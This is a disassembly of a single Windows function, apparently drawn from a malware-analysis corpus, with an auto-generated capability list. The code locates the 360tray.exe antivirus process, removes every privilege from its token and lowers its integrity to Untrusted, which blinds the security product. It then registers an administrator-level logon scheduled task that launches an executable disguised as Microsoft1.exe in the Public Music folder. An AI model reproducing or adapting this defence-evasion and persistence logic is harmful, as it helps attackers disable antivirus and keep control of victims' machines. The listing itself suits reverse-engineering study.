Function at 0x4013c0
Capabilities:
Acquire debug privileges
Enumerate processes
Get session user name
Schedule task via itaskservice

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403672
mov eax, dword fs:[0]
push eax
sub esp, 0x5a0
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2bc], 0
push 0x60
movups xmmword [ebp - 0x2cc], xmm0
mov dword [ebp - 0x2b8], 7
call fcn.004027a8
movups xmm0, xmmword [str.C:UsersPublicMusic8588Microsoft1.exe]
mov ecx, eax
mov dword [ebp - 0x2bc], 0x29
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x2b8], 0x2f
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x404328]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [0x404338]
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [0x404348]
movups xmmword [ecx + 0x30], xmm0
movups xmm0, xmmword [0x404358]
movups xmmword [ecx + 0x40], xmm0
mov ax, word [0x404368]
mov word [ecx + 0x50], ax
xor eax, eax
mov word [ecx + 0x52], ax
call fcn.00401220
movups xmm0, xmmword [str.360tray.exe]
push 0x88
lea eax, [ebp - 0x98]
movups xmmword [ebp - 0xb0], xmm0
push 0
movq xmm0, qword [0x40437c]
push eax
movq qword [ebp - 0xa0], xmm0
call sub.VCRUNTIME140.dll_memset
push 0x404384
call fcn.00401040
push 0x404388
call fcn.00401040
push 0x228
xor edi, edi
lea eax, [ebp - 0x520]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x24
mov dword [ebp - 0x524], 0x22c
lea esi, [edi + 1]
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x524]
mov dword [ebp - 0x56c], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40157f
push 0x4042e0
call fcn.00401040
lea eax, [ebp - 0xb0]
push eax
push 0x4042dc
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
add esp, 0xc
test eax, eax
je 0x401571
nop word [eax + eax]
inc esi
cmp esi, 0x7d0
jg 0x4017e1
lea eax, [ebp - 0x524]
push eax
push dword [ebp - 0x56c]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov edi, dword [ebp - 0x51c]
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x500]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
add esp, 8
test eax, eax
jne 0x401530
push edi
push str.___Got_target_proc_PID:__d_n
call fcn.00401040
add esp, 8
push 0x40438c
call fcn.00401040
add esp, 4
push edi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x4015ae
push str.___Opened_Target_Handle_n
call fcn.00401040
add esp, 4
push esi
push 0x4043ac
call fcn.00401040
add esp, 8
lea eax, [ebp - 0x528]
push eax
push 0xf01ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push str.___Opened_Target_Token_Handle_n
call fcn.00401040
add esp, 4
lea eax, [ebp - 0x2f8]
push eax
push 0x4043d0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [ebp - 0x2f8]
mov ecx, dword [ebp - 0x2f4]
push 0
push 0
push 0x10
mov dword [ebp - 0x2e8], eax
lea eax, [ebp - 0x2ec]
push eax
push 0
push dword [ebp - 0x528]
mov dword [ebp - 0x2ec], 1
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x2e0], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x401648
push str.Failed_n
call fcn.00401040
add esp, 4
push ecx
mov ecx, dword [ebp - 0x528]
mov edx, str.SeDebugPrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeChangeNotifyPrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeTcbPrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeImpersonatePrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeLoadDriverPrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeRestorePrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeBackupPrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeSecurityPrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeSystemEnvironmentPrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeIncreaseQuotaPrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeTakeOwnershipPrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeIncreaseBasePriorityPrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeShutdownPrivilege
call fcn.004012d0
mov ecx, dword [ebp - 0x528]
mov edx, str.SeAssignPrimaryTokenPrivilege
call fcn.004012d0
push str.___Removed_All_Privileges_n
call fcn.00401040
add esp, 8
mov dword [ebp - 0x2d0], 0
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d0], 0
xorps xmm0, xmm0
mov dword [ebp - 0x55c], 0x20
movq qword [ebp - 0x2d8], xmm0
push eax
mov word [ebp - 0x2d8], 0x101
mov byte [ebp - 0x2d1], 0x10
mov dword [ebp - 0x560], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [ebp - 0x560]
push eax
push 0x19
push dword [ebp - 0x528]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
jne 0x4017ac
push str.SetTokenInformation_failed_n
call fcn.00401040
add esp, 4
push str.___Token_Integrity_set_to_Untrusted_n
call fcn.00401040
add esp, 4
mov dword [ebp - 4], 0
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x4017e8
push eax
push str._nCoInitializeEx_failed:__x
call fcn.00401040
add esp, 8
jmp 0x402425
xor edi, edi
jmp 0x40157f
push 0
push 0
push 0
push 3
push 6
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
jns 0x401817
push eax
push str._nCoInitializeSecurity_failed:__x
call fcn.00401040
add esp, 8
jmp 0x40241f
lea eax, [ebp - 0x534]
mov dword [ebp - 0x534], 0
push eax
push 0x40418c
push 1
push 0
push 0x40419c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x401853
push eax
push str.Failed_to_create_an_instance_of_ITaskService:__x
call fcn.00401040
add esp, 8
jmp 0x40241f
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x57c]
push eax
call esi
movups xmm0, xmmword [ebp - 0x57c]
lea eax, [ebp - 0x568]
push eax
movups xmmword [ebp - 0x58c], xmm0
call esi
movups xmm0, xmmword [ebp - 0x568]
lea eax, [ebp - 0x2dc]
push eax
movups xmmword [ebp - 0x59c], xmm0
call esi
movups xmm0, xmmword [ebp - 0x2dc]
lea eax, [ebp - 0x2ec]
push eax
movups xmmword [ebp - 0x5ac], xmm0
call esi
mov byte [ebp - 4], 6
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x58c]
mov ecx, dword [ebp - 0x534]
mov eax, esp
sub esp, 0x10
mov edx, dword [ecx]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x59c]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x5ac]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x2ec]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x28]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0x2ec]
push eax
call edi
lea eax, [ebp - 0x2dc]
push eax
call edi
lea eax, [ebp - 0x568]
push eax
call edi
lea eax, [ebp - 0x57c]
mov byte [ebp - 4], 0
push eax
call edi
test esi, esi
jns 0x401940
push esi
push str.ITaskService::Connect_failed:__x
call fcn.00401040
mov eax, dword [ebp - 0x534]
add esp, 8
jmp 0x402419
push 0xc
mov dword [ebp - 0x530], 0
call fcn.004027a8
mov esi, eax
add esp, 4
mov dword [ebp - 0x56c], esi
mov byte [ebp - 4], 7
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
test esi, esi
je 0x401999
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x4047d4
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x4024fe
jmp 0x40199b
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x56c], esi
test esi, esi
je 0x4024fe
mov byte [ebp - 4], 8
lea edx, [ebp - 0x530]
mov eax, dword [ebp - 0x534]
push edx
push dword [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 0x56c], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x401a16
mov ecx, dword [esi]
test ecx, ecx
je 0x4019ee
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401a05
push eax
call fcn.004027a3
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.004027d8
mov eax, dword [ebp - 0x56c]
add esp, 8
test eax, eax
jns 0x401a33
push eax
push str.Cannot_get_Root_Folder_pointer:__x
call fcn.00401040
mov eax, dword [ebp - 0x534]
add esp, 8
jmp 0x402419
push 0xc
call fcn.004027a8
mov esi, eax
add esp, 4
mov dword [ebp - 0x56c], esi
mov byte [ebp - 4], 9
test esi, esi
je 0x401a7c
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x404304
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x402508
jmp 0x401a7e
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x56c], esi
test esi, esi
je 0x4024fe
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x530]
push 0
push dword [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x3c]
mov byte [ebp - 4], 0
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x401ae8
mov eax, dword [esi]
test eax, eax
je 0x401ac6
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401add
push eax
call fcn.004027a3
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.004027d8
add esp, 8
mov eax, dword [ebp - 0x534]
lea edx, [ebp - 0x52c]
push edx
mov dword [ebp - 0x52c], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov ecx, dword [ebp - 0x534]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401b32
push esi
push str.Failed_to_create_a_task_definition:__x
call fcn.00401040
mov eax, dword [ebp - 0x530]
add esp, 8
jmp 0x402419
mov eax, dword [ebp - 0x52c]
lea edx, [ebp - 0x53c]
mov dword [ebp - 0x53c], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x401b5e
push eax
push str._nCannot_get_identification_pointer:__x
jmp 0x4023ff
push 0xc
call fcn.004027a8
mov esi, eax
add esp, 4
mov dword [ebp - 0x56c], esi
mov byte [ebp - 4], 0xb
test esi, esi
je 0x401ba7
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.Author_Name
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x402512
jmp 0x401ba9
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x56c], esi
test esi, esi
je 0x4024fe
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x53c]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov dword [ebp - 0x56c], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x401c17
mov ecx, dword [esi]
test ecx, ecx
je 0x401bf5
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401c0c
push eax
call fcn.004027a3
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.004027d8
add esp, 8
mov eax, dword [ebp - 0x53c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x56c]
test eax, eax
jns 0x401c38
push eax
push str._nCannot_put_identification_info:__x
jmp 0x4023ff
mov eax, dword [ebp - 0x52c]
lea edx, [ebp - 0x540]
mov dword [ebp - 0x540], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
test eax, eax
jns 0x401c64
push eax
push str._nCannot_get_settings_pointer:__x
jmp 0x4023ff
mov eax, dword [ebp - 0x540]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0x58]
mov ecx, dword [ebp - 0x540]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401c8f
push esi
push str._nCannot_put_setting_info:__x
jmp 0x4023ff
mov eax, dword [ebp - 0x52c]
lea edx, [ebp - 0x544]
mov dword [ebp - 0x544], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
test eax, eax
jns 0x401cbb
push eax
push str._nCannot_get_trigger_collection:__x
jmp 0x4023ff
mov eax, dword [ebp - 0x544]
lea edx, [ebp - 0x548]
push edx
mov dword [ebp - 0x548], 0
push 9
mov ecx, dword [eax]
push eax
call dword [ecx + 0x28]
mov ecx, dword [ebp - 0x544]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401cf7
push esi
push str._nCannot_create_the_trigger:__x
jmp 0x4023ff
mov eax, dword [ebp - 0x548]
lea edx, [ebp - 0x538]
push edx
mov dword [ebp - 0x538], 0
push 0x4041ac
mov ecx, dword [eax]
push eax
call dword [ecx]
mov ecx, dword [ebp - 0x548]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x401d35
push esi
push str._nQueryInterface_call_failed_for_ILogonTrigger:__x
jmp 0x4023ff
push 0xc
call fcn.004027a8
mov esi, eax
add esp, 4
mov dword [ebp - 0x56c], esi
mov byte [ebp - 4], 0xd
test esi, esi
je 0x401d7e
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.Trigger1
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x40251c
jmp 0x401d80
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x56c], esi
test esi, esi
je 0x4024fe
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x538]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov dword [ebp - 0x56c], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x401df4
mov ecx, dword [esi]
test ecx, ecx
je 0x401dcc
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401de3
push eax
call fcn.004027a3
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.004027d8
mov eax, dword [ebp - 0x56c]
add esp, 8
test eax, eax
jns 0x401e06
push eax
push str._nCannot_put_the_trigger_ID:__x
call fcn.00401040
add esp, 8
push 0xc
call fcn.004027a8
mov esi, eax
add esp, 4
mov dword [ebp - 0x56c], esi
mov byte [ebp - 4], 0xf
test esi, esi
je 0x401e4f
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.2005_01_01T12:05:00
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x402526
jmp 0x401e51
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x56c], esi
test esi, esi
je 0x4024fe
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x538]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov dword [ebp - 0x56c], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x401ec5
mov ecx, dword [esi]
test ecx, ecx
je 0x401e9d
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401eb4
push eax
call fcn.004027a3
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.004027d8
mov eax, dword [ebp - 0x56c]
add esp, 8
test eax, eax
jns 0x401ed7
push eax
push str._nCannot_put_the_start_boundary:__x
call fcn.00401040
add esp, 8
push 0xc
call fcn.004027a8
mov esi, eax
add esp, 4
mov dword [ebp - 0x56c], esi
mov byte [ebp - 4], 0x11
test esi, esi
je 0x401f20
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.2066_05_02T08:00:00
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x402530
jmp 0x401f22
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x56c], esi
test esi, esi
je 0x4024fe
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x538]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov dword [ebp - 0x56c], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x401f96
mov ecx, dword [esi]
test ecx, ecx
je 0x401f6e
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x401f85
push eax
call fcn.004027a3
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.004027d8
mov eax, dword [ebp - 0x56c]
add esp, 8
test eax, eax
jns 0x401fa8
push eax
push str._nCannot_put_the_end_boundary:__x
call fcn.00401040
add esp, 8
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x101
push eax
lea eax, [ebp - 0x2b4]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push 0xc
call fcn.004027a8
mov esi, eax
add esp, 4
mov dword [ebp - 0x56c], esi
mov byte [ebp - 4], 0x13
test esi, esi
je 0x402011
xorps xmm0, xmm0
lea eax, [ebp - 0x2b4]
movq qword [esi], xmm0
mov dword [esi + 8], 0
push eax
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x40253a
jmp 0x402013
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x56c], esi
test esi, esi
je 0x4024fe
mov byte [ebp - 4], 0x14
mov eax, dword [ebp - 0x538]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x5c]
mov dword [ebp - 0x56c], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x402081
mov ecx, dword [esi]
test ecx, ecx
je 0x40205f
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x402076
push eax
call fcn.004027a3
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.004027d8
add esp, 8
mov eax, dword [ebp - 0x538]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x56c]
test eax, eax
jns 0x4020a2
push eax
push str._nCannot_add_user_ID_to_logon_trigger:__x
jmp 0x4023ff
mov eax, dword [ebp - 0x52c]
lea edx, [ebp - 0x54c]
mov dword [ebp - 0x54c], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
test eax, eax
jns 0x4020ce
push eax
push str._nCannot_get_Task_collection_pointer:__x
jmp 0x4023ff
mov eax, dword [ebp - 0x54c]
lea edx, [ebp - 0x550]
push edx
mov dword [ebp - 0x550], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x30]
mov ecx, dword [ebp - 0x54c]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x40210a
push esi
push str._nCannot_create_the_action:__x
jmp 0x4023ff
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x550]
lea edx, [ebp - 0x554]
push edx
mov dword [ebp - 0x554], 0
push str.MbLk
mov ecx, dword [eax]
push eax
call dword [ecx]
mov ecx, dword [ebp - 0x550]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x402153
push esi
push str._nQueryInterface_call_failed_for_IExecAction:__x
jmp 0x4023ff
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x2b8], 7
lea eax, [ebp - 0x2cc]
push 0xc
cmova eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x528], eax
call fcn.004027a8
mov esi, eax
add esp, 4
mov dword [ebp - 0x56c], esi
mov byte [ebp - 4], 0x15
test esi, esi
je 0x4021ca
push dword [ebp - 0x528]
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
jne 0x4021cc
cmp dword [ebp - 0x528], eax
jne 0x402544
jmp 0x4021cc
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x56c], esi
test esi, esi
je 0x4024fe
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x554]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov dword [ebp - 0x56c], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x40223a
mov ecx, dword [esi]
test ecx, ecx
je 0x402218
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x40222f
push eax
call fcn.004027a3
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.004027d8
add esp, 8
mov eax, dword [ebp - 0x554]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x56c]
test eax, eax
jns 0x40225b
push eax
push str._nCannot_set_path_of_executable:__x
jmp 0x4023ff
mov esi, 8
mov dword [ebp - 0x558], 0
push 0x404ad8
mov word [ebp - 0x2dc], si
call edi
mov dword [ebp - 0x2d4], eax
test eax, eax
je 0x4024fe
movups xmm0, xmmword [ebp - 0x2dc]
lea eax, [ebp - 0x57c]
push eax
movups xmmword [ebp - 0x5ac], xmm0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 4], 0x18
movups xmm0, xmmword [ebp - 0x57c]
push str.S_1_5_32_544
mov word [ebp - 0x2ec], si
movups xmmword [ebp - 0x59c], xmm0
call edi
mov dword [ebp - 0x2e4], eax
test eax, eax
je 0x4024fe
mov byte [ebp - 4], 0x19
movups xmm0, xmmword [ebp - 0x2ec]
push 0xc
movups xmmword [ebp - 0x58c], xmm0
call fcn.004027a8
mov esi, eax
add esp, 4
mov dword [ebp - 0x56c], esi
mov byte [ebp - 4], 0x1a
test esi, esi
je 0x40232a
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x404304
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x40254e
jmp 0x40232c
xor esi, esi
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x56c], esi
test esi, esi
je 0x4024fe
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x558]
movups xmm0, xmmword [ebp - 0x5ac]
mov ecx, dword [ebp - 0x530]
push eax
sub esp, 0x10
mov eax, esp
mov edx, dword [ecx]
push 4
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0x59c]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x58c]
push 6
push dword [ebp - 0x52c]
movups xmmword [eax], xmm0
push dword [esi]
push ecx
call dword [edx + 0x44]
mov edi, eax
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x4023d0
mov ecx, dword [esi]
test ecx, ecx
je 0x4023ae
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x4023c5
push eax
call fcn.004027a3
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.004027d8
add esp, 8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x2ec]
push eax
call esi
lea eax, [ebp - 0x57c]
push eax
call esi
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 0
push eax
call esi
test edi, edi
jns 0x402468
push edi
push str._nError_saving_the_Task_:__x
call fcn.00401040
mov eax, dword [ebp - 0x530]
add esp, 8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x52c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2b8]
cmp ecx, 7
jbe 0x402461
mov edx, dword [ebp - 0x2cc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402457
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4024d1
push ecx
push edx
call fcn.004027d8
add esp, 8
mov eax, 1
jmp 0x4024e3
push str._n_Success__Task_successfully_registered.
call fcn.00401040
mov eax, dword [ebp - 0x530]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x52c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x558]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2b8]
cmp ecx, 7
jbe 0x4024e1
mov edx, dword [ebp - 0x2cc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4024d7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4024d7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004027d8
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402795
mov esp, ebp
pop ebp
ret
push 0x8007000e
call fcn.004025c0
push 0x8007000e
call fcn.004025c0
push 0x8007000e
call fcn.004025c0
push 0x8007000e
call fcn.004025c0
push 0x8007000e
call fcn.004025c0
push 0x8007000e
call fcn.004025c0
push 0x8007000e
call fcn.004025c0
push 0x8007000e
call fcn.004025c0
push 0x8007000e
call fcn.004025c0
int3